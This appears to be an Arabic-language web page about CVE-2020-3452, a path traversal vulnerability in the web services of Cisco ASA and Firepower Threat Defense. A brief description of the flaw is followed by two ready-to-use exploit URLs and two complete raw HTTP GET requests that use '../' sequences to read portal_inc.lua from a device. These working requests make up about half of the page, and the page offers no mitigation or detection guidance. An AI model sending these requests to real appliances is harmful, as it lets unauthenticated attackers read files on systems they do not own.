[CVE-2020-3452] ثغرة اجتياز الدليل للقراءة فقط في خدمة الويب لـ Cisco Adaptive Security Appliance (ASA) و Cisco Firepower Threat Defense (FTD)

يمكن لثغرة أمنية في واجهة خدمات الويب لبرنامج Cisco Adaptive Security Appliance (ASA) وبرنامج Cisco Firepower Threat Defense (FTD) أن تسمح لمهاجم غير موثَّق عن بُعد بتنفيذ هجمات اجتياز الدليل وقراءة ملفات حساسة على نظام مستهدف.

ترجع الثغرة إلى عدم وجود تحقق صحيح من صحة إدخال عناوين URL في طلبات HTTP التي يعالجها الجهاز المتأثر. يمكن للمهاجم استغلال هذه الثغرة عبر إرسال طلب HTTP مخصص يحتوي على تسلسلات أحرف اجتياز الدليل إلى جهاز متأثر. قد يسمح الاستغلال الناجح للمهاجم بعرض ملفات عشوائية داخل نظام ملفات خدمات الويب على الجهاز المستهدف. يتم تمكين نظام ملفات خدمات الويب عندما يتم تكوين الجهاز المتأثر إما بميزات WebVPN أو AnyConnect. لا يمكن استخدام هذه الثغرة للحصول على الوصول إلى ملفات نظام ASA أو FTD أو ملفات نظام التشغيل الأساسي (OS).

https://{host}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

https://{host}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

CVE-2020-3452

الأكثر شعبية